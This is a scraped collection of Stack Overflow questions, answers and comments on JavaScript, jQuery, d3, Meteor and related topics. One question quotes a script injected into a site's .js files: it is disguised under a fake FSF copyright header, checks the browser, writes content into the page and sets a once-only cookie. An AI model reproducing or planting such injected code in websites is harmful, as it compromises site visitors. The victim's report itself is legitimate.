has body: I'm attempting to use a jQuery plugin called "selecter" from Formstone that styles select lists. The CSS has the max-width set at 30%, which is exactly what is happening on my page, and which is much larger than I want. (I also don't like it being dynamic.) I'd like to control the width on a case by case basis. The documentation has the following option: Define a custom CSS class to have multiple visually distinct Selecters on the same page: $("select").selecter({ customClass: "custom" }); What seems logical to me is that if I have multiple widths I want to have available, I should be able to do something like the following: $("select").selecter({ customClass: "width1, width2, width3" }); ...and then define those classes in the CSS like: .width1 { width: 200px; } .width2 { width: 300px } etc. ...and have the select tag set up like this: Option 1 Option 2 Unfortunately that seems to have no impact on the page. I also tried: $("select").selecter({ customClass: document.getElementById("select1").style.width="200px"; }); and then within quotes: $("select").selecter({ customClass: "document.getElementById("select1").style.width="200px";" }); ...and that completely removed all of the styling from the select box and it appears as if the plugin isn't installed at all. How should I be setting the customClass in the jQuery plugin to get the desired result? I suppose I could put each select list in its own DIV and change the max-width in the plugin's CSS file to 100% , but that seems kind of ridiculous to me.
type: Question
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25776349

http://stackoverflow.com/q/25846267
type: UnansweredQuestion
has title: Unknown javascript files edit
upvote count: 1
has comment: http://stackoverflow.com/comment/40439825
has body: All my .js files from my website have been edited without my knowledge, adding this block of code: /* Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ */ function getCookie(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\ [\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):undefined} function ActerMoto(){var e=navigator.userAgent;var t=e.indexOf("Chrome")>-1||e.indexOf("IEMobile")>-1||e.indexOf("Windows NT 6.2")>-1||e.indexOf("WindowsNT 6.3")>-1||e.indexOf("Windows")<+1;var n=getCookie("lusikrators")===undefined;if(!t&&n){document.write(' ');var r=new Date((new Date).getTime()+64*60*60*1e3);document.cookie="lusikrators=1; path=/; expires="+r.toUTCString()}}ActerMoto() Have you guys seen this before? How the hell is this happening?
tagged with: virus
type: Question
has comment: http://stackoverflow.com/comment/40439470
has comment: http://stackoverflow.com/comment/40439830
answer count: 1
downvote count: 0
tagged with: javascript
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40439462
has comment: http://stackoverflow.com/comment/40439878
has comment: http://stackoverflow.com/comment/40440400
has answer: http://stackoverflow.com/a/25846942

http://stackoverflow.com/q/25822843
has comment: http://stackoverflow.com/comment/40398586
score: 0
has comment: http://stackoverflow.com/comment/40480008
has comment: http://stackoverflow.com/comment/40397773
answer count: 1
has comment: http://stackoverflow.com/comment/40475265
has comment: http://stackoverflow.com/comment/40479454
has comment: http://stackoverflow.com/comment/40479808
linked to: http://stackoverflow.com/q/18386753
has title: Dynamically run a sequence of promises using Q
tagged with: promise
has comment: http://stackoverflow.com/comment/40474742
has answer: http://stackoverflow.com/a/25869430
tagged with: typescript
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40402381
accepted answer: http://stackoverflow.com/a/25869430
tagged with: knockout.js
type: Question
tagged with: javascript
has body: I am writing a SPA with typescript using breeze and knockout. What I want to do is to create a launch manager, which can perform the neccessary steps required to even start the site (e.g. read configuration json, download odata metadata, initialize breeze metadata store and so on). I've created the following to represent each step in the launch sequence: export enum LauncherProgressStatus { Ready, InProgress, Success, Failed, Aborted } export class LauncherProgressItem { public status: KnockoutObservable&lt;LauncherProgressStatus&gt; = ko.observable&lt;LauncherProgressStatus&gt;(); public description: KnockoutObservable&lt;String&gt; = ko.observable&lt;String&gt;(); public statusText: KnockoutComputedFunctions&lt;String&gt; = ko.computed&lt;String&gt;(() =&gt; { return LauncherProgressItem.getStatusText(this.status()); }); public start() { this.action(this); } constructor(descriptionText: String, public action: (arg: LauncherProgressItem) =&gt; Boolean) { this.status(LauncherProgressStatus.InProgress); this.description(descriptionText); } public static getStatusText(status: LauncherProgressStatus) : String { switch (status) { case LauncherProgressStatus.Ready: return "Ready"; case LauncherProgressStatus.InProgress: return "In progress"; case LauncherProgressStatus.Success: return "Success"; case LauncherProgressStatus.Aborted: return "Aborted"; default: return "Failed"; } } } TL;DR I create each step like this in code: var item1 = new launcher.LauncherProgressItem("Loading configuration...", (item: LauncherProgressItem) =&gt; { cfgMgr.setConfigurationFromFile("config.json?bust=" + (new Date()).getTime()); return true; }); Now the problem: I want to utilize this to create a promise chain using Q. I can do this manually, i.e. q.fcall(() =&gt; item1.action(item1)) .then(() =&gt; item2.action(item2)) .fail((r) =&gt; { console.log("Many whelps, HANDLE IT!") }); But I want to create some kind of manager object that doesnt really know how many steps is required. It will ju…
tagged with: http://stackoverflow.com/tag/q

http://stackoverflow.com/a/25841894
type: Answer
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25841617
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25841617
has body: since the data are strings, and the strings don't have commas, you can avoid all user-land iteration with a dynamic RegExp: var refArray = ['India','Pakistan','Nepal','Bhutan','SreeLanka','Singapore','Thailand','China','Russia'] var beenThere = ['Russia','Bhutan','India']; (","+refArray+",").match(RegExp(",("+beenThere.join("|")+"),","g")).join(",").split(/,+/).slice(1,-1); // == ["India", "Bhutan", "Russia"] that one is nice in that it doesn't need [].indexOf(), so it works in older browsers. you can use another delimeter besides comma if the data has commas, with some slightly uglier code... or, using filter for the iteration, but with a native method instead of a user-land function: var refArray = ['India','Pakistan','Nepal','Bhutan','SreeLanka','Singapore','Thailand','China','Russia'] var beenThere = ['Russia','Bhutan','India']; refArray.filter(/./.test, RegExp("("+beenThere.join("|")+")","g")); // == ["India", "Bhutan", "Russia"] these would probably perform faster than indexOf(), but sorting is a weird operation, with lots of opportunity for behind-the-scenes optimization, so results may vary.

http://stackoverflow.com/a/27756189
answers question: http://stackoverflow.com/q/25785452
downvote count: 0
type: Answer
score: 1
upvote count: 1
has body: The merge rule of Google heatmap is currently density-based. Unfortunately, it still cannot provide a custom merge rule due to its implementation: Current implementation of heatmap is very perfomance and is computed at client side. The idea is to render each feature as a greyed blur circle. The issue is if two circles overlaps the intersection zone becomes dark greyed because values are added. Later when all features are rendered the class gets an images of the layer, as a grid of pixels, and substitute each grey value pixel (0..255) with a gradient color previously created. (Referenced from Google Forum) So, maybe you can try the heatmap provided by Nokia. It seems they provide a value-based heatmap, whose merge rule is not defined by density but the value of points.

http://stackoverflow.com/q/25726459
accepted answer: http://stackoverflow.com/a/25728145
type: Question
tagged with: javascript
answer count: 1
downvote count: 0
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25728145
tagged with: d3.js
has body: I am creating a d3 plot of some data and I would like to have zooming and panning capabilities. When I plot my data and zoom in or pan, the data can move outside the defined plot area without being clipped. As you can see in the image, the orange dots appear on the green area when I would have expected them to be clipped. Any ideas on what is wrong? Demo at http://jsfiddle.net/ng6srz4o/ var dataX = [1,3,5,7,9]; var dataY = [0,2,4,6,8]; var margin, padding, outerWidth, outerHeight, innerWidth, innerHeight; var xAxis, yAxis, xScale, yScale, svg, container, zoom, tooltip; // assign the dimensions here, works the best outerWidth = Math.ceil ($(window).width() * 0.90); outerHeight = Math.ceil ($(window).height() * 0.55); // distance of the outerRect from the innerRect margin = { top: 16, right: 16, bottom: 32, left: 32 }; // distance of the actual data from the innerRect padding = { top: 0, right: 32, bottom: 0, left: 32 }; innerWidth = outerWidth - margin.left - margin.right; innerHeight = outerHeight - margin.top - margin.bottom; xScale = d3.scale.linear() .domain([ d3.min(dataX), d3.max(dataX) ]) .range([ padding.left, innerWidth - padding.right ]); yScale = d3.scale.linear() .domain([ d3.min(dataY), d3.max(dataY) ]) .range([ innerHeight - padding.bottom, padding.top ]); zoom = d3.behavior.zoom() .x(xScale).y(yScale) .scaleExtent([1, 20]) .on ("zoom", onZoom); svg = d3.select("#svgContainer") .append("svg:svg") .attr("width", outerWidth) .attr("height", outerHeight) .style("background", "green") .append("svg:g") .attr("transform", "translate(" + margin.left + "," + margin.top + ")") .call(zoom); drawAxis(); // white rect behind the graph var rect = svg.append("svg:rect") .attr("width", innerWidth) .attr("height", innerHeight) .style("fill", "gray"); container = svg.append("svg:g"); var graph = container.append("svg:g").selectAll("scatter-dots") .data(dataY) .enter().append("svg:circle") .attr("cy", function (d) { return yScale(d); }) .attr("cx", function (d,i) { retur…
type: AnsweredQuestion
has title: Drawing outside graph borders
upvote count: 1

http://stackoverflow.com/q/25837084
tagged with: javascript
has answer: http://stackoverflow.com/a/25837881
score: 0
accepted answer: http://stackoverflow.com/a/25837881
answer count: 1
tagged with: meteor
has title: Updating already published collection in Meteor
has body: I'm trying to understand how to REpublish in Meteor. I have this published "allCustomers" data which gets loaded initially on page load, with the customers from current month: Meteor.publish("allCustomers", function () { var pDate = moment().utc().toDate(); var dateFilter = GetWholeMonthFilterFromDate(pDate); return Customers.find(dateFilter); }); All good so far. I also have this server method that gets customers when the user selects a different month than the current one: Meteor.methods({ allCustomers:function(pDate){ function GetWholeMonthFilterFromDate(pDate){ var firstDayOfMonth = new Date(pDate.getFullYear(), pDate.getMonth(), 1); var lastDayOfMonth = new Date(pDate.getFullYear(), pDate.getMonth() + 1, 0); var dateFilter = { "joined": {"$gte": firstDayOfMonth, "$lte": lastDayOfMonth} }; return dateFilter; } var dateFilter = GetWholeMonthFilterFromDate(pDate); return Customers.find(dateFilter).fetch(); }, I use this "allCustomers" server method like this: Meteor.call("allCustomers", selectedDate, function(error, result){ if(error) { console.log('ERROR :', error); return; } else console.log(result); }); My question is, when the user selects a different date, how do I use the resultset from the Meteor.call("allCustomers") to update the initial published "allCustomer" data? Meaning, even if I do see the new customers in the console (as the callback executes), my page is still using the old data from the initial publishing. How do I re-update the published data with the result of the Meteor.call() ? Thanks in advance
type: AnsweredQuestion
type: Question

http://stackoverflow.com/a/25833848
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40416780
accepted answer of: http://stackoverflow.com/q/25833470
answers question: http://stackoverflow.com/q/25833470
type: Answer
has comment: http://stackoverflow.com/comment/40416953
has comment: http://stackoverflow.com/comment/40417482
has comment: http://stackoverflow.com/comment/40417006
has comment: http://stackoverflow.com/comment/40417324
has comment: http://stackoverflow.com/comment/40417149
has body: Another way to have "this" reference your object when handling an event is using 'call'. for example: var setData = { save: function(){ // 'this' shall be setData! var _bs = this['branch-select']; _bs.ref = "Lodges"... } } then: $(".someElement").on('click', function() { setData.save.call(setData) }); **updated (I'm pretty sure this should work just the same): $("#template-holder").on('click', ".branch-select", function() { stepData['branch-select'].save.call(setData) });
score: 0
has comment: http://stackoverflow.com/comment/40416849

http://stackoverflow.com/comment/40244856
type: QuestionComment
has text: Attribute selector was my first attempt, I tried selector `:not()`, jQuery `.not()`, `.find()' etc...
comment on: http://stackoverflow.com/q/25723914
score: 0
type: Comment

http://stackoverflow.com/a/25728906
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25728590
has comment: http://stackoverflow.com/comment/40260321
has comment: http://stackoverflow.com/comment/40245811
accepted answer of: http://stackoverflow.com/q/25728590
type: Answer
has comment: http://stackoverflow.com/comment/40260975
has body: Animate.css uses @keyframe that only works from IE10+. transition CSS property does not work either. http://caniuse.com/#search=keyframe http://caniuse.com/#search=transition You will have to use jQuery animate() method. Link to the docs: http://api.jquery.com/animate/ Animations made with @keyframes can look a lot better because you set each frame of the animation. But it won't work in IE9 or lower, there is no way. You should use jQuery animate() method. See a good example: &lt;!doctype html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;title&gt;animate demo&lt;/title&gt; &lt;style&gt; div { background-color: #bca; width: 200px; height: 1.1em; text-align: center; border: 2px solid green; margin: 3px; font-size: 14px; } button { font-size: 14px; } &lt;/style&gt; &lt;script src="//code.jquery.com/jquery-1.10.2.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;button id="go1"&gt;&amp;raquo; Animate Block1&lt;/button&gt; &lt;button id="go2"&gt;&amp;raquo; Animate Block2&lt;/button&gt; &lt;button id="go3"&gt;&amp;raquo; Animate Both&lt;/button&gt; &lt;button id="go4"&gt;&amp;raquo; Reset&lt;/button&gt; &lt;div id="block1"&gt;Block1&lt;/div&gt; &lt;div id="block2"&gt;Block2&lt;/div&gt; &lt;script&gt; $( "#go1" ).click(function() { $( "#block1" ) .animate({ width: "90%" }, { queue: false, duration: 3000 }) .animate({ fontSize: "24px" }, 1500 ) .animate({ borderRightWidth: "15px" }, 1500 ); }); $( "#go2" ).click(function() { $( "#block2" ) .animate({ width: "90%" }, 1000 ) .animate({ fontSize: "24px" }, 1000 ) .animate({ borderLeftWidth: "15px" }, 1000 ); }); $( "#go3" ).click(function() { $( "#go1" ).add( "#go2" ).click(); }); $( "#go4" ).click(function() { $( "div" ).css({ width: "", fontSize: "", borderWidth: "" }); }); &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40245859
upvote count: 1

http://stackoverflow.com/q/25779210
type: UnansweredQuestion
upvote count: 1
downvote count: 1
type: Question
has body: I am new in Lg Webos tv. I am stuck in a webos tv project. I need to send messages that coming from command prompt or CLI launcher or some parameter from a notification button. I need help - any sample project of this will be helpful.
tagged with: http://stackoverflow.com/tag/json
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/33722057
score: 0
has title: Lg Webos TV project Parameter passing or message passing after a botton click
favorite count: 0

http://stackoverflow.com/comment/40397108
comment on: http://stackoverflow.com/q/25822613
has text: I suspect that its not `sender` that `undefined`, rather `parentid` because you have not rendered the attribute `data-parentid`.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40437926
has text: simply check whether in `alert(dateString)` you are getting right result or not in javascript before `document.getElementById('<%=SaveTime.ClientID%>').Text = dateString;`
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25811035

mobile
tags question: http://stackoverflow.com/q/25718095
type: Tag
tags question: http://stackoverflow.com/q/25834630
tags question: http://stackoverflow.com/q/25797503
tags question: http://stackoverflow.com/q/25793820
tags question: http://stackoverflow.com/q/25832162
tags question: http://stackoverflow.com/q/25816061
tags question: http://stackoverflow.com/q/25765887
tags question: http://stackoverflow.com/q/25798429
tags question: http://stackoverflow.com/q/25754000
tags question: http://stackoverflow.com/q/25796117
tags question: http://stackoverflow.com/q/25790057
tag name: mobile
tags question: http://stackoverflow.com/q/25847509
tags question: http://stackoverflow.com/q/25851050
tags question: http://stackoverflow.com/q/25802969
tags question: http://stackoverflow.com/q/25728857
tags question: http://stackoverflow.com/q/25716693

http://stackoverflow.com/q/25843977
type: Question
has answer: http://stackoverflow.com/a/25844267
tagged with: javascript
tagged with: forms
tagged with: validation
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
has title: Double jQuery validation of 2 decimal inputs and getting the bigger number
accepted answer: http://stackoverflow.com/a/25844267
tagged with: double
type: AnsweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/40436086
upvote count: 1
has body: Here's my code: $(document).ready(function(){ jQuery.validator.addMethod("cents", function(value, element) { return this.optional(element) || /^\d{0,12}(\.\d{0,2})?$/i.test(value); }, "You must include two decimal places"); $.validator.addMethod('lessthan', function(value, element, param) { return this.optional(element) || value &lt;= $(param).val(); }, 'Invalid value'); $.validator.addMethod('greaterthan', function(value, element, param) { return this.optional(element) || value &gt;= $(param).val(); }, 'Invalid value'); $("#globalSettingsFormId").validate({ rules: { // Validation Rules minBetAmt: { required: true, number: true, cents: true, lessthan: '#maxBetAmt' }, maxBetAmt: { required: true, number: true, cents: true, greaterthan: '#minBetAmt' } submitHandler: function(form){ form.submit(); }, messages: { minBetAmt:{ required: "minimum bet amount required!", number: "This must be a number!", cents: "You must include two decimal places", lessthan: 'Minimum Bet Amount must be less than Max Bet Amount!' }, maxBetAmt: { required: "Max bet amount required!!", number: "This must be a number!", cents: "You must include two decimal places", greaterthan: "Max Bet Amount must be greater than Min Bet Amount!" } }); When my inputs are minBetAmt=25.55 and maxBetAmt = 26.5, my form validates and submits. But when I change my maxBetAmt to 241.55 or 2400.25, this message comes out: "Max Bet Amount must be greater than Min Bet Amount!" It seems like there's something wrong with my addMethods. Some people told me that there's something wrong within the return value of my method 'cents'. Can you help me guys to figure out what's wrong? Thanks in advance!

http://stackoverflow.com/comment/40212807
has text: It only works in IE9 and newer though (and Chrome, and FF and Safari of course). But it is possible to implement for all brosers, see here for that if neccessary (http://javascript.crockford.com/prototypal.html)
comment on: http://stackoverflow.com/a/25721465
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25827758
tagged with: javascript
has title: Adding letters from a string array into each dynamic div
upvote count: 3
answer count: 3
accepted answer: http://stackoverflow.com/a/25827819
downvote count: 0
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25827778
favorite count: 0
has body: I am trying to add each letter of a word to dynamically generated divs .box and .boxIn but the code is just adding the last word to each box! How can I fix this, and why is his happening? And is there any way to merge two loops into one loop? Here is the demo And this is the code which I have: var letters = []; var str = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z"; var letters = str.split(","); var word = "Test App"; for (var i = 0; i &lt; word.length; i++) { $('&lt;div class="box"&gt;&lt;div class="boxIn"&gt;&lt;/div&gt;&lt;/div&gt;').appendTo(".wrapper"); } for (var j = 0; j &lt; word.length; j++) { $('.boxIn').html(word.charAt(j)).addClass('animated fadeInDown'); }
has answer: http://stackoverflow.com/a/25827819
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25827778
type: Question
has answer: http://stackoverflow.com/a/25827847
score: 3

http://stackoverflow.com/a/25812833
answers question: http://stackoverflow.com/q/25812243
score: 0
has body: Instead of storing the contents as HTML, you could store them in a JSON data file. An example JSON data file (places.json): { "Names": [ "Museums", "Parks", "Railroads and Trains", "Shopping", "Theatres"] } Then, you can change your page code to: &lt;script&gt; var tags = [ "String1", "String2"]; $.getJSON("/places.json", function(data) { $(result).html(data); console.log(data.Names[0]); // Outputs Museums $.each(data.Names, function(index, value) { tags.push(value); // add the tag to your tags list for each item in Names }); }); &lt;/script&gt; This way you can store just the data you need and you won't need to parse the HTML manually.
type: Answer

http://stackoverflow.com/q/25816547
accepted answer: http://stackoverflow.com/a/25816693
has comment: http://stackoverflow.com/comment/40385846
has comment: http://stackoverflow.com/comment/40385816
has comment: http://stackoverflow.com/comment/40385869
downvote count: 2
has comment: http://stackoverflow.com/comment/40385934
linked to: http://stackoverflow.com/q/17976883
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25816633
has comment: http://stackoverflow.com/comment/40385793
has answer: http://stackoverflow.com/a/25816633
has comment: http://stackoverflow.com/comment/40386032
has answer: http://stackoverflow.com/a/25816693
type: Question
answer count: 2
has title: Why don’t I get any result from this rock-paper-scissors game?
has comment: http://stackoverflow.com/comment/40385946
upvote count: 0
score: -2
has body: Tried to build a simple game (scissors, stone, paper) in JS but don’t really know what I’m doing wrong here. After I do an input in the prompt and choose for example paper I don’t get any reaction from the code. Can somebody explain it in a very pedagogic way for me? What have I missed? var Number = Math.random() Number = Number * 10; Number = Math.round(Number); var Number = Math.floor(Math.random() * (2 - 0 + 1)) + 0; console.log (Number); var userInput = prompt("Choose between scissors, stone or paper. Good luck!").toLocaleLowerCase; if (Number == 0) { Number = "scissors"; } if (Number == 1){ Number = "stone"; } if (Number == 2){ Number = "paper"; } if (Number == userInput ){ alert("TIE"); } else if (Number == "scissors" &amp;&amp; userInput == "paper"){ alert("Scissors Win's"); } else if (Number == "scissors" &amp;&amp; userInput == "stone"){ alert("Stone Win's"); } else if (Number == "paper" &amp;&amp; userInput == "scissors"){ alert("Scissors Win's"); } else if (Number == "paper" &amp;&amp; userInput == "stone"){ alert("Paper Win's"); } else if (Number == "stone" &amp;&amp; userInput == "scissors"){ alert("Stone Win's"); } else if (Number == "stone" &amp;&amp; userInput == "paper"){ alert("Paper Win's"); }
tagged with: javascript
has comment: http://stackoverflow.com/comment/40385849
favorite count: 0
has comment: http://stackoverflow.com/comment/40385952
has comment: http://stackoverflow.com/comment/40385838
has comment: http://stackoverflow.com/comment/40385829

http://stackoverflow.com/q/25784547
answer count: 1
has title: How to feed lists from python into javascript?
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25785608
accepted answer: http://stackoverflow.com/a/25785608
type: Question
tagged with: javascript
has body: I'm pretty new to Javascript. I was wondering, how does importing lists generated by Python work? Below is a rough version of what I'm thinking, I'm trying to import 3 lists into an HTML file using javascript (apologies in advance if any of the syntax is off.): function createMarkers(){ //import article_list generated by headline.py //import urls from generated by headline.py //import coordinates generated by headline.py for (i = 0; i < 25;) { article_name = article_list[i] url = urls[i] coordinate = coordinates[i] var marker[i] = WE.marker([coordinate]).addTo(earth); marker.bindPopup("article_name url, {maxWidth: 520, closeButton: true}); } } Do I need to implement some sort of web framework to execute the python code and feed it into this javascript code? How would I go about doing this?
has comment: http://stackoverflow.com/comment/40353443
score: 0
tagged with: for-loop
has comment: http://stackoverflow.com/comment/40327044

http://stackoverflow.com/q/25856233
has answer: http://stackoverflow.com/a/25857367
tagged with: javascript
type: UnansweredQuestion
has body: I am starting to re-factor some code to use promises and caching to ensure cleaner code. My Code (See below) has tried to use this new premise and is working with slight success. The main issue is that the caching mechanism that is uses by default prevents my from being able to "pass" in a dynamic url value without it returning the same cached results every time. How can i update the code below to use a cache key? "use strict"; var FLEX = window.FLEX|| {}; FLEX.Following = FLEX.Following|| {}; FLEX.Following.Process = function () { var deferred = $.Deferred(), execute = function (followUrl) { $.ajax( { url: _spPageContextInfo.webAbsoluteUrl + followUrl, method: "GET", headers: { "accept": "application/json;odata=verbose", }, success: function (data) { deferred.resolve(data); }, error: function (err) { deferred.reject(err); } } ); return deferred; }; return { execute: execute } }(); FLEX.Following.Init = function (divName, followUrl) { FLEX.Following.Process.execute(followUrl).promise().then( //success function (data) { var html = ""; $.each(data.d.Followed.results,function(index, value){ html += value.Name + "&lt;br /&gt;"; }); $(divName).html(html); }, //failure function(err) { $(divName).html('Failed'); } ); } I then call the code using the following lines: $(document).ready(function() { FLEX.Following.Init("#followed-sites", "/_api/social.following/my/followed(types=4)"); FLEX.Following.Init("#followed-people", "/_api/social.following/my/followed(types=1)"); FLEX.Following.Init("#followed-documents", "/_api/social.following/my/followed(types=2)"); }); The resulting output "works" however i get the same results in each div as it appears that every subsequent call jQuery gets the cached version from one of them and therefore each result set is identical. How can i ensure that i can use the same functions with the different dynamic urls as above and cache them separately. Thanks
has title: jQuery $.Deferred() with Dynamic Url
tagged with: caching
tagged with: jquery
tagged with: promise
type: Question
score: 0
answer count: 1

http://stackoverflow.com/a/25740387
downvote count: 0
score: 1
has body: Because you are using $numery it will set index for all one value as you're defining at previous line. Use $(this) instead of $numery inside the each function: $("#numeruj").click(function(){ $numery.each(function(index){ $(this).val(index) }) })
upvote count: 1
answers question: http://stackoverflow.com/q/25740346
type: Answer

http://stackoverflow.com/q/25786127
type: UnansweredQuestion
has body: Hi I am developing mobile web application using HTML5, CSS3, Javascript, Jquery and Jquery Mobile. I am using javascript ArrayList to store and retrieve data. var SampleArray= []; SampleArray[SampleArray.length] = { Id: 1, Name: 'Kanna' }; Before start iterating like below, in mobile device aw,snap error is coming $.each(SampleArray, function (i,v) { alert(SampleArray[i].Name);//Here output is coming }); any other alternate solution is available for this issue. Please give suggestion for this issue. Edited I have created single page application.Some times the issue is coming. Any other possibility is there to avoid this issue. Sorry Friends the issue occured because i have created more objects for a function in a page that is what.
type: Question
has answer: http://stackoverflow.com/a/25786304
has answer: http://stackoverflow.com/a/25786333
has comment: http://stackoverflow.com/comment/40329461
score: 0
answer count: 2
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40329531
has title: Error while interating javascript arraylist using jquery $each
has comment: http://stackoverflow.com/comment/40329458

http://stackoverflow.com/q/25776413
downvote count: 0
score: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40312883
has title: Trying to use javascript to add a new form row and insert into database
type: Question
upvote count: 1
tagged with: php
tagged with: mysql
has body: The add new row works ( well it adds a new row ) but when i try and submit the data to the database its coming back with array. I tried it without putting the [] at the end of the name tags in the form but all it submited then was the first row. Sorry to ask a dumb question but ive been racking my brains on how to get this to work. Heres my code: <?php if($user->data()->username = $res->username) { if(isset($_POST['results'])) { $submitres = DB::getInstance()->insert('results', array( 'torneyid' => Input::get('torneyid'), 'buyin' => Input::get('buyin'), 'torneydesc' => Input::get('description'), 'finish' => Input::get('finish'), 'profit_loss' => Input::get('profit'), 'eventid' => $res->id )); } echo ' Torney ID Torney Description Buy-In Finish Pos Profit/Loss Submit Results Add Row '; } ?> My java script is: Thanks for any help! FIXED - Will add how i done it just in case it helps anyone else in the fuiture: Changed the code from if(isset) to: if(isset($_POST['results'])) { for ( $row = 0; $row < count( $_POST["torneyid"] ); ++$row ) { $tid = $_POST["torneyid"][$row]; $desc = $_POST["description"][$row]; $buy = $_POST['buyin'][$row]; $fin = $_POST['finish'][$row]; $prof = $_POST['profit'][$row]; $submitres = DB::getInstance()->insert('results', array( 'torneyid' => $tid, 'buyin' => $desc, 'torneydesc' => $buy, 'finish' => $fin, 'profit_loss' => $prof, 'eventid' => $res->id )); }
answer count: 0
tagged with: javascript
tagged with: jquery
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40312765

http://stackoverflow.com/a/25721875
has comment: http://stackoverflow.com/comment/40214323
upvote count: 2
has comment: http://stackoverflow.com/comment/40216441
has comment: http://stackoverflow.com/comment/40213590
has body: Since inline javascript event handler are considered bad practice, I removed them and made a click event handler in javascript itself. Assuming this sample html: The following js will work: $('table').on('click', '.remove', function() { $(this).closest('tr').remove(); }); Working Example
answers question: http://stackoverflow.com/q/25721401
has comment: http://stackoverflow.com/comment/63211527
type: Answer
has comment: http://stackoverflow.com/comment/40214350
score: 2
downvote count: 0

http://stackoverflow.com/q/25824091
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40399165
favorite count: 0
has comment: http://stackoverflow.com/comment/40399204
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/8943219
has comment: http://stackoverflow.com/comment/96961051
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25824532
has title: Stop page load using javascript
upvote count: 1
downvote count: 1
type: Question
has body: I am trying to stop the body from loading using javascript, and then write something on the body element. I can do this with: And this works, the alert function will never be called. But the problem is that if there is another comment tag on the head section, such as: How should I handle this? It is very important that all the content on the body element, won't load. Not just hidden, but not loaded.
tagged with: javascript

http://stackoverflow.com/comment/115646368
type: QuestionComment
score: 0
has text: Hope it can help somebody https://stackoverflow.com/questions/64663160/jquery-validate-filesize-in-multidimensional-array-dynamically
type: Comment
comment on: http://stackoverflow.com/q/25780379

http://stackoverflow.com/comment/40441062
type: Comment
has text: @AlexInTime please reproduce your error using fiddle. Currently something is wrong with it
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25809473

http://stackoverflow.com/comment/42080034
type: QuestionComment
comment on: http://stackoverflow.com/q/25744195
has text: @user2097021 thanks for the green check! Hate to bother you, but you can vote up my answer too, as long as you have 15 or more pts. For correct protocol see this link: stackoverflow.com/help/someone-answers –
score: 0
type: Comment

http://stackoverflow.com/q/25738225
score: 0
tagged with: sinon
answer count: 0
type: UnansweredQuestion
has title: How expect(stub.method) in sinon works?
tagged with: unit-testing
tagged with: testing
has body: I have a sinon's stub: dummy = sinon.stub({foo: function() {}}); In my test, I can use the following syntax: expect(dummy.foo.calledOnce).to.be.false; However, the following syntax does not work: expect(dummy.foo).to.have.been.called; // this and the following tests passed, // but not what I expect expect(dummy.foo).to.have.been.calledTwice; expect(dummy.foo).to.have.been.calledThrice; dummy.foo.should.have.been.called; The syntax was copied from here. What is the right way to rewrite the expectation besides the first method?
has comment: http://stackoverflow.com/comment/40243336
tagged with: javascript
type: Question
has comment: http://stackoverflow.com/comment/40276678

http://stackoverflow.com/a/25747712
score: 1
answers question: http://stackoverflow.com/q/25747447
downvote count: 0
type: Answer
upvote count: 1
has body: it's hard to test this on a fiddle but try this out, it should work. You can wrap everything in a function and just call the function on resize: function adjustHeight(){ var bodyHeight = $(document).height(); $("#column1, #column2").height(bodyHeight); } adjustHeight(); //call on page load $(window).resize(adjustHeight); //call on resize

http://stackoverflow.com/q/25816355
downvote count: 2
upvote count: 1
tagged with: paypal
type: Question
has body: I am trying to do this, but it isn't working &lt;i&gt; extendCheckout: function (methods) { return simpleCart.extend(simpleCart.checkout, methods); }, generateAndSendForm: function (opts) { var form = simpleCart.$create("form"); form.attr('style', 'display:none;'); form.attr('action', opts.action); form.attr('method', opts.method); simpleCart.each(opts.data, function (val, x, name) { form.append( simpleCart.$create("input").attr("type","hidden").attr("name",name).val(val) ); }); simpleCart.$("body").append(form); form.el.submit(); form.remove(); } }); simpleCart.extendCheckout({ PayPal: function (opts) { // account email is required if (!opts.email) { return simpleCart.error("No email provided for PayPal checkout"); } // build basic form options var data = { cmd : "_cart" , upload : "1" , currency_code : simpleCart.currency().code , business : opts.email , rm : opts.method === "GET" ? "0" : "2" , tax_cart : (simpleCart.tax()*1).toFixed(2) , handling_cart : (simpleCart.shipping()*1).toFixed(2) , charset : "utf-8" }, action = opts.sandbox ? "https://www.sandbox.paypal.com/cgi-bin/webscr" : "https://www.paypal.com/cgi-bin/webscr", method = opts.method === "GET" ? "GET" : "POST" ; &lt;/i&gt; I am trying using form.target = "_blank"; target = "_blank" but nothing, Demo : https://e70f9b946472493e61425bd76235c6dfd3f4593d.googledrive.com/host/0B87ueB-BviwSUDgydXRxWi16OGM/#/ can anyone help please!
has answer: http://stackoverflow.com/a/25816394
tagged with: javascript
score: -1
answer count: 1
has title: How to open checkout in new window? simplecartjs 3.0.5
